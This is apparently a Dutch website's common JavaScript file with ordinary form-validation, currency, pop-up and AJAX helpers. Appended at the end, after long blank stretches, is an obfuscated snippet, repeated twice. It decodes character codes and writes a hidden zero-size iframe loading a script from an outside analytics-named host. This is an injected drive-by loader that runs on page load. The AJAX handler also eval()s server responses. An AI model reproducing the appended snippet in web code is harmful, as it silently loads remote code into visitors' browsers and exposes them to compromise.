// STANDARD FUNCTIONS

function confirmDelete(){

	var agree=confirm("Weet u zeker dat u geselecteerd(en) record(s) wilt verwijderen?");
	if (agree)
		return true ;
	else
		return false ;
}

function formatCurrency(num,c) {
 num = num.toString().replace(/\$|\,/g,'');
 if(isNaN(num))
  num = "0";
 sign = (num == (num = Math.abs(num)));
 num = Math.floor(num*100+0.50000000001);
 cents = num%100;
 num = Math.floor(num/100).toString();
 if(cents<10)
  cents = "0" + cents;
 for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
  num = num.substring(0,num.length-(4*i+3))+'.'+
 num.substring(num.length-(4*i+3));
 if(c.length>0)
  c = c + ' ';
 return (((sign)?'':'-') + c + num + ',' + cents);
}
	  
function OMO(e,c){ // Change class on mouse over
   
   e.className=c;
}

function OMU(e,c){ // Change class on mouse out
   
   e.className=c;
}

function OMD(e,c){ // Change class on mouse down
   
   e.className=c;
}

function confirmOrder(){

	var agree=confirm("Zijn alle gegevens correct en gaat u accoord met de bestellings voorwaarden?");
	if (agree)
		return true ;
	else
		return false ;
}

var ie4 = false; if(document.all) { ie4 = true; }

function getObject(id) {
	
	if (ie4) {
		return document.all[id];
	}
	else {
		return document.getElementById(id);
	}
}

function swap(td_name, image) {

	document.getElementById(td_name).style.background=image;
}

function toggleCheckboxes(the_form, elmts, do_check) {
 var elts = document.forms[the_form].elements[elmts];
 var elts_cnt = (typeof(elts.length) != 'undefined') ? elts.length : 0;
 if (elts_cnt) {
  for (var i = 0; i < elts_cnt; i++) {
   elts[i].checked = do_check;
  }
 }
 else {
  elts.checked = do_check;
 }
 return true;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function checkForm(){

	var i, e, t, m, errors = '', args = checkForm.arguments;
	
	for (i=0; i<(args.length-2); i+=3) { 
		
		m = args[i+2];
		t = args[i+1];
		e = MM_findObj(args[i]);
		
		if (t.charAt(0) == 'A'){
			
			t = MM_findObj(t.slice(1,t.length));
			
			if( (t.value != "") && (e.value > test.value) ){
				
				errors += '- ' + m + '\n'; 
			}
		}
		else if (t.charAt(0) == 'B'){
			
			t = MM_findObj(t.slice(1,t.length));
			
		}		
		else if (t.charAt(0) == 'c'){
			
			t = t.slice(1,t.length);
			
			if((e.value == t) || (e.value.length < 1)){
				
				errors += '- ' + m + '\n'; 
			}
		}
		else if (t.charAt(0) == 'C'){
			
			if(e.value.length < 4 || e.value == ''){
				
				errors += '- ' + m + '\n'; 
			}			
		}		
		else if (t.charAt(0) == 'M'){ // Check if value is valid emailaddress
			
			var s_email = e.value;
			
			if((s_email.length < 6) ||
			   (s_email.indexOf('@',0) < 1) ||
			   (s_email.lastIndexOf('@') != s_email.indexOf('@',0)) ||
			   (s_email.lastIndexOf('@') > (s_email.length - 5)) ||
			   (s_email.lastIndexOf('.') > (s_email.length - 3)) ||
			   (s_email.lastIndexOf('.') < (s_email.length - 4)) ||
			   (s_email.indexOf('..',0) > -1) ||
			   (s_email.indexOf('@.',0) > -1) ||
			   (s_email.indexOf('.@',0) > -1) ||
			   (s_email.indexOf(',',0) > -1)){
		
				errors += '- ' + m + '\n'; 
			}
		}
		else if (t.charAt(0) == 'd'){
			
			if((e.value > 31) || e.value == "" || e.value == 'DD'){
				
				errors += '- ' + m + '\n'; 
			}
			
		}		
		else if (t.charAt(0) == 'm'){
			
			if((e.value > 13) || e.value == "" || e.value == 'MM'){
				
				errors += '- ' + m + '\n'; 
			}
			
		}		
		else if (t.charAt(0) == 'p'){
			
			t = MM_findObj(t.slice(1,t.length));
			
			if((t.value.length < 6) || (e.value.length < 6) || (e.value != t.value) ){
				
				errors += '- ' + m + '\n'; 
			}
		}
		else if (t.charAt(0) == 'P'){
			
			t = MM_findObj(t.slice(1,t.length));
			
			if((t.value.length < 6) || (e.value.length < 6) || (e.value != t.value) ){
				
				errors += '- ' + m + '\n'; 
			}
		}
		else if (t.charAt(0) == 'y'){
			
			var d=new Date();
			if((e.value > d.getFullYear()) || e.value == "" || e.value == 'YEAR'){
				
				errors += '- ' + m + '\n'; 
			}
			
		}		
		else if (t.charAt(0) == 'U'){
			
			if(e.value.length < 6 || e.value == ''){
				
				errors += '- ' + m + '\n'; 
			}
			
		}		
		else if (t.charAt(0) == 'T'){
			
			if(e.checked != 1){
				
				errors += '- ' + m + '\n'; 
			}
			
		}		
		else{
			if(e.value == ""){
				
				errors += '- ' + m + '\n'; 
			}
		}
	}
	if(errors) {
		
		alert('De volgende fout(en) is/zijn opgetreden:\n' + errors);
	}
	
	document.returnValue = (errors == '');	
}

function LOE_fullscreen(url,id){

	if(!id){
		
		var id = "UNKNOWN";
	}
	
	window.open(url,id,"fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=no,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);
}

function LOE_popup(url,w,h,id){
	
	if(!id){
		
		var id = "unknown";
	}
	
	var wd = "Console " + id;
	window.status='Click to open ' + wd + '!';
	
	if (!wd.closed && wd.location){
		
		wd.focus();
	}
	else{
		
		wd = window.open( url, id, 'left=' + ( (screen.width/2) - (w/2) ) + ', top=' + ( (screen.height/2) - (h/2) -20 ) + ',width=' + w + ', height=' + h + ', resizable=1, scrollbars=1,toolbar=0,status=1,location=0,directories=0,menubar=0');
		
		if (!wd.opener){
		
			wd.opener = self;
		}
	}
	
	if (window.focus) {
	
		wd.focus();
	}
}


// PNG FIX
var arVersion = navigator.appVersion.split("MSIE")
var version = parseFloat(arVersion[1])

function fixPNG(myImage) 
{
    if ((version >= 5.5) && (version < 7) && (document.body.filters)) 
    {
       var imgID = (myImage.id) ? "id='" + myImage.id + "' " : ""
	   var imgClass = (myImage.className) ? "class='" + myImage.className + "' " : ""
	   var imgTitle = (myImage.title) ? 
		             "title='" + myImage.title  + "' " : "title='" + myImage.alt + "' "
	   var imgStyle = "display:inline-block;" + myImage.style.cssText
	   var strNewHTML = "<span " + imgID + imgClass + imgTitle
                  + " style=\"" + "width:" + myImage.width 
                  + "px; height:" + myImage.height 
                  + "px;" + imgStyle + ";"
                  + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
                  + "(src=\'" + myImage.src + "\', sizingMethod='scale');\"></span>"
	   myImage.outerHTML = strNewHTML	  
    }
}


//FLASH FIX
function activateFlash()
{
	var objects = document.getElementsByTagName("object");
	for (var i=0; i<objects.length; i++)
	{
		objects[i].outerHTML = objects[i].outerHTML;
	}
}
    
    
// AJAX FUNCTIONS

var xHTTP;

function getHttpObject(handler){
 var xmlhttp;
 /*@cc_on
 @if (@_jscript_version >= 5)
   try {
     xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
     xmlhttp.onreadystatechange=handler;
   } catch (e) {
     try {
       xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
       xmlhttp.onreadystatechange=handler;
     } catch (E) {
       xmlhttp = false;
     }
   }
 @else
 xmlhttp = false;
 @end @*/
 if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
   try {
     xmlhttp = new XMLHttpRequest();
     xmlhttp.onload=handler;
     xmlhttp.onerror=handler;
   } catch (e) {
     xmlhttp = false;
   }
 }
 return xmlhttp;
}

function subscribeToNews(i) {
 var url = "post.php?action=ml_subscribe&ml_email="+i;
 xHTTP = getHttpObject(handleGetResponse);
 xHTTP.open("GET", url, true);
 xHTTP.send(null);
}

function unSubscribeToNews(i) {
 var url = "post.php?action=ml_unsubscribe&ml_email="+i;
 xHTTP = getHttpObject(handleGetResponse);
 xHTTP.open("GET", url, true);
 xHTTP.send(null);
}

function handleGetResponse() {
 if (xHTTP.readyState == 4) {
  var result = xHTTP.responseText;
  if(result){
   results = xHTTP.responseText.split("<!--SPLIT-->");
   for (var c=0; c<(results.length-2); c+=3){
    // HTML
    if(results[c]=='HTML'){
     var e = document.getElementById(results[c+1]);
     e.innerHTML = results[c+2];
    }       
    // DIV
    else if(results[c]=='DIV'){
     var e = document.getElementById(results[c+1]);
     e.innerHTML = results[c+2];
    }       
    // ELEMENT
    else if(results[c]=='ELEMENT'){
     var e = document.getElementById(results[c+1]);
     e.value = results[c+2];
    }       
    // JAVASCRIPT 
    else if(results[c]=='JS'){
     eval( results[c+1] );
    }      
    else {
     alert(results[c]+""+results[c+1]+""+results[c+1]);
    }
   }
  }
 }
}






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

